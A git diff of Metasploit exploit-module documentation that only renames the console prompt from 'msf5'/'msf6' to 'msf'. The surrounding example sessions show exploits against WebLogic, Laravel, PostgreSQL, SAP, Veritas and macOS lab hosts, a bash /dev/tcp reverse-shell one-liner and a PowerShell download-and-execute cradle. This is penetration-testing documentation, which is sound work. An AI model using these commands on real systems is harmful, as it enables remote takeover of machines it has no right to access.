Set this to the AsyncResponseService uri, normally it should be `/_async/asyncre ## Scenarios ``` -msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > exploit +msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > exploit [*] Started reverse TCP handler on 172.16.135.1:4444 [*] Generating payload... diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattr_extcomp.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattr_extcomp.md index 369eec1a4ff67..bff7d43633123 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattr_extcomp.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattr_extcomp.md @@ -49,12 +49,12 @@ ### WebLogic `v12.2.1.4.0` on Windows 10 ``` - msf5 > use exploit/multi/misc/weblogic_deserialize_badattr_extcomp - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.181 + msf > use exploit/multi/misc/weblogic_deserialize_badattr_extcomp + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.181 rhosts => 172.16.215.181 - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set lhost 172.16.215.1 + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set lhost 172.16.215.1 lhost => 172.16.215.1 - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] 172.16.215.181:7001 - Executing automatic check (disable AutoCheck to override) @@ -81,11 +81,11 @@ ### WebLogic `v12.2.1.4.0` on Ubuntu 18.04 ``` - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set target 1 + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set target 1 target => 1 - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.180 + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.180 rhosts => 172.16.215.180 - msf5 exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run + msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] 172.16.215.180:7001 - Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md index b7635aaffa8ab..26ead6c471b6a 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md @@ -44,12 +44,12 @@ ### WebLogic `v12.2.1.4` on Windows 10 ``` - msf5 > use exploit/multi/misc/weblogic_deserialize_badattrval - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > set rhosts 172.16.215.185 + msf > use exploit/multi/misc/weblogic_deserialize_badattrval + msf exploit(multi/misc/weblogic_deserialize_badattrval) > set rhosts 172.16.215.185 rhosts => 172.16.215.185 - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > set lhost 172.16.215.1 + msf exploit(multi/misc/weblogic_deserialize_badattrval) > set lhost 172.16.215.1 lhost => 172.16.215.1 - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > run + msf exploit(multi/misc/weblogic_deserialize_badattrval) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] 172.16.215.185:7001 - WebLogic version detected: 12.2.1.4.0 @@ -74,13 +74,13 @@ ### WebLogic `v12.1.3.0.0` on Ubuntu 18.04 Linux ``` - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > set target 1 + msf exploit(multi/misc/weblogic_deserialize_badattrval) > set target 1 target => 1 - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(multi/misc/weblogic_deserialize_badattrval) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > set rhosts 172.16.215.196 + msf exploit(multi/misc/weblogic_deserialize_badattrval) > set rhosts 172.16.215.196 rhosts => 172.16.215.196 - msf5 exploit(multi/misc/weblogic_deserialize_badattrval) > run + msf exploit(multi/misc/weblogic_deserialize_badattrval) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] 172.16.215.196:7001 - WebLogic version detected: 12.1.3.0.0 diff --git a/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md index 7fae1c508db61..5c73bea34aa42 100644 --- a/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md +++ b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md @@ -32,7 +32,7 @@ Path to Laravel's log file, which contains every PHP error and stack trace. By d ## Scenarios ``` -msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit +msf exploit(multi/php/ignition_laravel_debug_rce) > exploit [+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65' [*] Started reverse TCP handler on 172.28.241.244:4444 @@ -71,4 +71,4 @@ This module has been tested successfully on Debian 10.7 (x86_64) with kernel ver * PHP 7.4.1 * Laravel Framework 8.26.1 * Ignition 2.5.1 -* Debian 10.7 \ No newline at end of file +* Debian 10.7 diff --git a/documentation/modules/exploit/multi/php/jorani_path_trav.md b/documentation/modules/exploit/multi/php/jorani_path_trav.md index 027b5afcf71c0..d72263501a061 100644 --- a/documentation/modules/exploit/multi/php/jorani_path_trav.md +++ b/documentation/modules/exploit/multi/php/jorani_path_trav.md @@ -41,7 +41,7 @@ The path to the jorani website. By default it is empty. ## Scenarios ``` -msf6 exploit(multi/php/jorani_path_trav) > options +msf exploit(multi/php/jorani_path_trav) > options Module options (exploit/multi/php/jorani_path_trav): @@ -73,7 +73,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/php/jorani_path_trav) > run +msf exploit(multi/php/jorani_path_trav) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/php/wp_duplicator_code_inject.md b/documentation/modules/exploit/multi/php/wp_duplicator_code_inject.md index b946c1759ecc3..24f2c0dad023f 100644 --- a/documentation/modules/exploit/multi/php/wp_duplicator_code_inject.md +++ b/documentation/modules/exploit/multi/php/wp_duplicator_code_inject.md @@ -44,14 +44,14 @@ The path to the installer.php file to exploit By default, the path is `/installe ### Debian 9 running WordPress 4.9.8 with Duplicator 1.2.40 ``` -msf5 > use exploit/multi/php/wp_duplicator_code_inject -msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247 +msf > use exploit/multi/php/wp_duplicator_code_inject +msf exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247 rhosts => 192.168.37.247 -msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php +msf exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php targeturi => /wordpress/installer.php -msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1 +msf exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf5 exploit(multi/php/wp_duplicator_code_inject) > run +msf exploit(multi/php/wp_duplicator_code_inject) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Checking if the wp-config.php file already exists... diff --git a/documentation/modules/exploit/multi/postgres/postgres_copy_from_program_cmd_exec.md b/documentation/modules/exploit/multi/postgres/postgres_copy_from_program_cmd_exec.md index 806087fbde5c7..bb3c361b1a900 100644 --- a/documentation/modules/exploit/multi/postgres/postgres_copy_from_program_cmd_exec.md +++ b/documentation/modules/exploit/multi/postgres/postgres_copy_from_program_cmd_exec.md @@ -73,19 +73,19 @@ Use the techniques described in this blogpost to verify command execution: ### Exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04 - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres DATABASE => postgres - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set USERNAME postgres + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set USERNAME postgres USERNAME => postgres - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD postgres + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD postgres PASSWORD => postgres - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set payload cmd/unix/reverse_perl + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set payload cmd/unix/reverse_perl payload => cmd/unix/reverse_perl - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.0.18 + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.0.18 LHOST => 192.168.0.18 - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.25 + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.25 RHOSTS => 192.168.0.25 - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec): @@ -114,7 +114,7 @@ Use the techniques described in this blogpost to verify command execution: -- ---- 0 Automatic - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit [*] Started reverse TCP handler on 192.168.0.18:4456 [*] 192.168.0.25:5432 - 192.168.0.25:5432 - PostgreSQL 11.2 (Ubuntu 11.2-1.pgdg18.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0, 64-bit @@ -135,13 +135,13 @@ Use the techniques described in this blogpost to verify command execution: ### Exploiting PostgreSQL 10.7 on Windows 10 - msf5 exploit(multi/script/web_delivery) > set target 2 + msf exploit(multi/script/web_delivery) > set target 2 target => 2 - msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp + msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(multi/script/web_delivery) > set LHOST 192.168.0.18 + msf exploit(multi/script/web_delivery) > set LHOST 192.168.0.18 LHOST => 192.168.0.18 - msf5 exploit(multi/script/web_delivery) > show options + msf exploit(multi/script/web_delivery) > show options Module options (exploit/multi/script/web_delivery): @@ -170,7 +170,7 @@ Use the techniques described in this blogpost to verify command execution: 2 PSH - msf5 exploit(multi/script/web_delivery) > exploit -j + msf exploit(multi/script/web_delivery) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. @@ -179,14 +179,14 @@ Use the techniques described in this blogpost to verify command execution: [*] Local IP: http://192.168.0.18:8080/pUDD5sy8vTTD [*] Server started. [*] Run the following command on the target machine: - msf5 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD'); + msf exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD'); - msf5 exploit(multi/script/web_delivery) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres + msf exploit(multi/script/web_delivery) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres DATABASE => postgres - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.24 + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.24 RHOSTS => 192.168.0.24 - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec): @@ -208,9 +208,9 @@ Use the techniques described in this blogpost to verify command execution: 0 Automatic - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set COMMAND powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(\'http://192.168.0.18:8080/pUDD5sy8vTTD\'); + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set COMMAND powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(\'http://192.168.0.18:8080/pUDD5sy8vTTD\'); COMMAND => powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD') - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit [*] Started reverse TCP double handler on 192.168.0.18:4456 [*] 192.168.0.24:5432 - 192.168.0.24:5432 - PostgreSQL 10.7, compiled by Visual C++ build 1800, 32-bit @@ -221,11 +221,11 @@ Use the techniques described in this blogpost to verify command execution: [!] 192.168.0.24:5432 - 192.168.0.24:5432 - Unable to execute query: COPY msftesttable FROM PROGRAM 'powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(''http://192.168.0.18:8080/pUDD5sy8vTTD'');'; [*] 192.168.0.24:5432 - Exploit Failed [*] Exploit completed, but no session was created. - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > [*] Sending stage (179779 bytes) to 192.168.0.24 [*] Meterpreter session 1 opened (192.168.0.18:4444 -> 192.168.0.24:50154) at 2019-03-24 17:40:59 +0000 - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show sessions + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show sessions Active sessions =============== @@ -234,7 +234,7 @@ Use the techniques described in this blogpost to verify command execution: -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ DESKTOP-BHTT8OP 192.168.0.18:4444 -> 192.168.0.24:50154 (192.168.0.24) - msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -i 1 + msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/exploit/multi/sap/cve_2020_6207_solman_rs.md b/documentation/modules/exploit/multi/sap/cve_2020_6207_solman_rs.md index 0ac5a8588e845..e0f92d1a5b406 100644 --- a/documentation/modules/exploit/multi/sap/cve_2020_6207_solman_rs.md +++ b/documentation/modules/exploit/multi/sap/cve_2020_6207_solman_rs.md @@ -54,16 +54,16 @@ Example: `linux_agent` ### Vulnerable SolMan 7.2 running on agent: test_linux with OS: Linux and java version: 1.8 ``` -msf6 > workspace -a SAP_TEST +msf > workspace -a SAP_TEST [*] Added workspace: SAP_TEST [*] Workspace: SAP_TEST -msf6 > use exploit/multi/sap/cve_2020_6207_solman_rs +msf > use exploit/multi/sap/cve_2020_6207_solman_rs [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > set RHOST 172.16.30.46 +msf exploit(multi/sap/cve_2020_6207_solman_rs) > set RHOST 172.16.30.46 RHOST => 172.16.30.46 -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > set LHOST 192.168.50.3 +msf exploit(multi/sap/cve_2020_6207_solman_rs) > set LHOST 192.168.50.3 LHOST => 192.168.50.3 -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > check +msf exploit(multi/sap/cve_2020_6207_solman_rs) > check [+] Successfully retrieved agent list: Connected Agents List @@ -75,9 +75,9 @@ Connected Agents List test_linux SAPERP7.corp.test.com SMDA98 Linux 1.8.0_25 [+] 172.16.30.46:50000 - The target is vulnerable. -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > set AGENT test_linux +msf exploit(multi/sap/cve_2020_6207_solman_rs) > set AGENT test_linux AGENT => test_linux -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > exploit +msf exploit(multi/sap/cve_2020_6207_solman_rs) > exploit [*] Started reverse TCP handler on 192.168.50.3:4444 [*] Enable EEM on agent: test_linux @@ -118,7 +118,7 @@ IPv6 Netmask : ffff:ffff:ffff:ffff:: meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > services +msf exploit(multi/sap/cve_2020_6207_solman_rs) > services Services ======== @@ -126,7 +126,7 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.30.46 50000 tcp soap open SAP Solution Manager -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > vulns +msf exploit(multi/sap/cve_2020_6207_solman_rs) > vulns Vulnerabilities =============== @@ -138,7 +138,7 @@ Timestamp Host Name nterprise-Software-Servers-wp.pdf,URL-https://github.com/chipik/ SAP_EEM_CVE-2020-6207 -msf6 exploit(multi/sap/cve_2020_6207_solman_rs) > sessions +msf exploit(multi/sap/cve_2020_6207_solman_rs) > sessions Active sessions =============== diff --git a/documentation/modules/exploit/multi/scada/inductive_ignition_rce.md b/documentation/modules/exploit/multi/scada/inductive_ignition_rce.md index cb8bfc80d2f4a..0bc2f339ee3b6 100644 --- a/documentation/modules/exploit/multi/scada/inductive_ignition_rce.md +++ b/documentation/modules/exploit/multi/scada/inductive_ignition_rce.md @@ -45,15 +45,15 @@ Exploit targets: ## Scenarios ``` -msf5 exploit(multi/scada/inductive_ignition_rce) > set rhost 10.10.10.204 +msf exploit(multi/scada/inductive_ignition_rce) > set rhost 10.10.10.204 rhost => 10.10.10.204 -msf5 exploit(multi/scada/inductive_ignition_rce) > set lhost 10.10.10.1 +msf exploit(multi/scada/inductive_ignition_rce) > set lhost 10.10.10.1 lhost => 10.10.10.1 -msf5 exploit(multi/scada/inductive_ignition_rce) > check +msf exploit(multi/scada/inductive_ignition_rce) > check [*] 10.10.10.204:8088 - Detected version 8.0.7 [*] 10.10.10.204:8088 - The target appears to be vulnerable. -msf5 exploit(multi/scada/inductive_ignition_rce) > run +msf exploit(multi/scada/inductive_ignition_rce) > run [*] Started reverse TCP handler on 10.10.10.1:4444 [*] 10.10.10.204:8088 - Attacking Windows target diff --git a/documentation/modules/exploit/multi/veritas/beagent_sha_auth_rce.md b/documentation/modules/exploit/multi/veritas/beagent_sha_auth_rce.md index 718eca2592f7d..53a635370c560 100644 --- a/documentation/modules/exploit/multi/veritas/beagent_sha_auth_rce.md +++ b/documentation/modules/exploit/multi/veritas/beagent_sha_auth_rce.md @@ -55,13 +55,13 @@ All supported version of Backup Exec is available in Veritas' An example session is as follows: ``` -msf6 > use exploit/multi/veritas/beagent_sha_auth_rce +msf > use exploit/multi/veritas/beagent_sha_auth_rce [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.141 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.141 rhosts => 172.16.180.141 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248 lhost => 172.16.180.248 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > show options +msf exploit(multi/veritas/beagent_sha_auth_rce) > show options Module options (exploit/multi/veritas/beagent_sha_auth_rce): @@ -87,7 +87,7 @@ Exploit target: 0 Windows -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check +msf exploit(multi/veritas/beagent_sha_auth_rce) > check [*] 172.16.180.141:10000 - Checking vulnerability [*] 172.16.180.141:10000 - Connecting to BE Agent service @@ -95,7 +95,7 @@ msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check [*] 172.16.180.141:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4) [*] 172.16.180.141:10000 - BE agent revision: 9.3 [*] 172.16.180.141:10000 - The target appears to be vulnerable. SHA authentication is enabled -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run +msf exploit(multi/veritas/beagent_sha_auth_rce) > run [*] Started reverse TCP handler on 172.16.180.248:4444 [*] 172.16.180.141:10000 - Running automatic check ("set AutoCheck false" to disable) @@ -159,11 +159,11 @@ carry this query out successfully.) ### Windows; Backup Exec 21.0 (Backup Exec Remote Agent, revision 9.3) ``` -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 192.168.123.147 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 192.168.123.147 rhosts => 192.168.123.147 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 192.168.123.1 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run +msf exploit(multi/veritas/beagent_sha_auth_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] 192.168.123.147:10000 - Running automatic check ("set AutoCheck false" to disable) @@ -199,15 +199,15 @@ meterpreter > exit ### Linux; Backup Exec 16.0 (Backup Exec Remote Agent, revision 9.2) ``` -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.199.133 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.199.133 rhosts => 172.16.199.133 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.199.1 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set target 1 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set target 1 target => 1 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/veritas/beagent_sha_auth_rce) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run +msf exploit(multi/veritas/beagent_sha_auth_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] 172.16.199.133:10000 - Running automatic check ("set AutoCheck false" to disable) @@ -244,12 +244,12 @@ meterpreter > exit ### Windows; Backup Exec 21.2 (Backup Exec Remote Agent, revision 9.4) - NOT VULNERABLE ``` -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > use exploit/multi/veritas/beagent_sha_auth_rce -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.135 +msf exploit(multi/veritas/beagent_sha_auth_rce) > use exploit/multi/veritas/beagent_sha_auth_rce +msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.135 rhosts => 172.16.180.135 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248 +msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248 lhost => 172.16.180.248 -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check +msf exploit(multi/veritas/beagent_sha_auth_rce) > check [*] 172.16.180.135:10000 - Checking vulnerability [*] 172.16.180.135:10000 - Connecting to BE Agent service @@ -257,7 +257,7 @@ msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check [*] 172.16.180.135:10000 - Supported authentication by BE agent: BEWS2 (190), SSPI (4) [*] 172.16.180.135:10000 - BE agent revision: 9.4 [*] 172.16.180.135:10000 - The target is not exploitable. SHA authentication is disabled -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run +msf exploit(multi/veritas/beagent_sha_auth_rce) > run [*] Started reverse TCP handler on 172.16.180.248:4444 [*] 172.16.180.135:10000 - Running automatic check ("set AutoCheck false" to disable) @@ -268,5 +268,5 @@ msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run [*] 172.16.180.135:10000 - BE agent revision: 9.4 [-] 172.16.180.135:10000 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. SHA authentication is disabled "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. -msf6 exploit(multi/veritas/beagent_sha_auth_rce) > +msf exploit(multi/veritas/beagent_sha_auth_rce) > ``` diff --git a/documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md b/documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md index f8ebcc530c8f2..c0a65e1389e8e 100644 --- a/documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md +++ b/documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md @@ -46,19 +46,19 @@ ### OpenBSD 6.1 GENERIC#19 amd64 ``` - msf5 > use exploit/openbsd/local/dynamic_loader_chpass_privesc - msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true + msf > use exploit/openbsd/local/dynamic_loader_chpass_privesc + msf exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true verbose => true - msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1 + msf exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1 session => 1 - msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > check + msf exploit(openbsd/local/dynamic_loader_chpass_privesc) > check [+] Patch 013_ldso is not present [+] cc is installed [*] The service is running, but could not be validated. - msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165 + msf exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > run + msf exploit(openbsd/local/dynamic_loader_chpass_privesc) > run [*] Started reverse TCP double handler on 172.16.191.165:4444 [+] Patch 013_ldso is not present diff --git a/documentation/modules/exploit/osx/browser/osx_gatekeeper_bypass.md b/documentation/modules/exploit/osx/browser/osx_gatekeeper_bypass.md index b07f2c69e9a24..ee7bebcd5b188 100644 --- a/documentation/modules/exploit/osx/browser/osx_gatekeeper_bypass.md +++ b/documentation/modules/exploit/osx/browser/osx_gatekeeper_bypass.md @@ -41,13 +41,13 @@ The vulnerability to use in the exploit. The default value is the most recent cv ### macOS Catalina 10.15.6 ``` -msf6 > use exploit/osx/browser/osx_gatekeeper_bypass +msf > use exploit/osx/browser/osx_gatekeeper_bypass [*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > set srvhost 192.168.37.1 +msf exploit(osx/browser/osx_gatekeeper_bypass) > set srvhost 192.168.37.1 srvhost => 192.168.37.1 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > set lhost 192.168.37.1 +msf exploit(osx/browser/osx_gatekeeper_bypass) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > options +msf exploit(osx/browser/osx_gatekeeper_bypass) > options Module options (exploit/osx/browser/osx_gatekeeper_bypass): @@ -77,12 +77,12 @@ Exploit target: 0 macOS x64 (Native Payload) -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > run +msf exploit(osx/browser/osx_gatekeeper_bypass) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.37.1:4444 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168.37.1:8080/q670M8fEMu +msf exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168.37.1:8080/q670M8fEMu [*] Server started. [*] 192.168.37.132 osx_gatekeeper_bypass - Request /q670M8fEMu from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 [+] 192.168.37.132 osx_gatekeeper_bypass - macOS version 10.15.6 is vulnerable @@ -91,7 +91,7 @@ msf6 exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168. [*] Sending stage (810096 bytes) to 192.168.37.132 [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.132:49380) at 2021-04-29 15:21:38 -0500 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > sessions +msf exploit(osx/browser/osx_gatekeeper_bypass) > sessions Active sessions =============== @@ -102,7 +102,7 @@ Active sessions id=20, euid=501, egid=20) @ spaces-M 49380 (192.168.37.132) ac.local -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > sessions -i 1 +msf exploit(osx/browser/osx_gatekeeper_bypass) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -118,18 +118,18 @@ Meterpreter : x64/osx ### macOS Big Sur 11.5.2 ``` -msf6 > use exploit/osx/browser/osx_gatekeeper_bypass +msf > use 